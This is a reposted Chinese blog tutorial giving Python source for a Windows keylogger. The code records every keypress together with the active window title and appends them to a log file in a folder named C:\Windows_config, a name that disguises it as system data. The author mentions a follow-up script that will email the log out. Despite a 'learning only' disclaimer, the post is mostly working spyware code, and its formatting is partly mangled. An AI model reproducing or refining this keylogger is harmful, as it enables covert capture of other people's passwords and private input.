0


Python实现一个键盘记录器功能

关于Python3——键盘记录

关于Python3——键盘记录

该方法仅为学习使用,切勿用于非法用途

用python做一个键盘记录器,记录我么们敲击键盘得事件,当你有需要他的时候你可以运行这个脚本,来获取你想要得信息(注:个人练习,不喜勿喷)本次学习是将文件统一放在了C盘下,是为了方便我可以在这个脚本结束后,去调用发送邮件得脚本,邮件脚本会在下一篇博客发布注:本人小白一名,代码中如有错误,请多多指点该方法仅为学习使用,切勿用于非法用途

环境:windows

所需库:

  • keyboard
  • ctypes
  • os

函数划分

  • get_current_window # 获取窗口标题
  • write_key # 核心代码,获取按键信息,并保存到文本文件
  • prepare # 出发按键函数

话不多说,看代码,大部分注释在代码中


(1)get_current_window()

defget_current_window(self):
        GetForegroundWindow = user32.GetForegroundWindow  # 获取前端显示窗口
        GetWindowTextLength = user32.GetWindowTextLengthW  # 获取敞口信息长度
        GetWindowText = user32.GetWindowTextW  # 获取敞口文本信息
        hwnd = GetForegroundWindow()# 获取前台窗口的句柄
        length = GetWindowTextLength(hwnd)# 获取标题栏中窗口文本的长度
        buff = ctypes.create_unicode_buffer(length +1)# 创建缓冲区来存储窗口标题字符串
        GetWindowText(hwnd, buff, length +1)return buff.value

(2)write_key()

defwrite_key(self,key):
        key_info =[]
        key_list =[]global prev_window
        filename ='keyboard.txt'# 存储得文件名,可以根据自己需求更改
        window = self.get_current_window()# 获取函数返回的信息# Windows_config,可以自定义if os.path.exists('C:\Windows_config\\')==False:# 判断c盘下有没有Windows_config这个文件
            os.makedirs('C:\Windows_config\\')if window == prev_window:
            key_info.append(str(key.name)+" | "+" | "+str(round(key.time)))
            key_list.append(str(key.name))
            content ="Date - "+str(datetime.now())+" | Timestamp - "+str(self.get_timestamp())+"\nWindow - "+str(self.get_current_window())+"\nKeys - \n"+str("".join(key_info))+"\n"+"\n"withopen(r"C:\Windows_config\\"+str(filename),"a", encoding='utf-8')as f:
                f.write(content)return
        key_info.append(str(key.name)+" | "+" | "+str(round(key.time)))
        key_list.append(str(key.name))
        content ="Date - "+str(datetime.now())+" | Timestamp - "+str(self.get_timestamp())+"\nWindow - "+str(self.get_current_window())+"\nKeys - \n"+str("".join(key_info))+"\n"+"\n"withopen(r"C:\Windows_config\\"+str(filename),"a",encoding='utf-8')as f:
            f.write(content)
        key_info =[]
        key_list =[]
        prev_window = window
        key_info.append(str(key.name)+" | "+str(key.scan_code)+" | "+str(round(key.time)))# 更新列表与新的关键字,扫描代码和时间戳
        key_list.append(str(key.name))# 用键名更新列表

(3)prepare()

defprepare(self):global prev_window
        prev_window =str()
        keyboard.on_press(self.write_key)# 当按下一个键时,调用write_key函数
        keyboard.wait()# 这将防止脚本结束,并允许前面的命令继续运行.

最后你可以试着运行下,比如:

if __name__ =='__main__':
    a = Keyboard_Windows()
    a.prepare()# 调用prepare函数来设置键盘记录器

今天得分享就到这里了,如有错误或逻辑错误得地方请大佬们多多指点

在这里插入图片描述

标签: python

本文转载自: https://blog.csdn.net/weixin_43619742/article/details/119053365
版权归原作者 回去等通知 所有, 如有侵权,请联系我们删除。

“Python实现一个键盘记录器功能”的评论:

还没有评论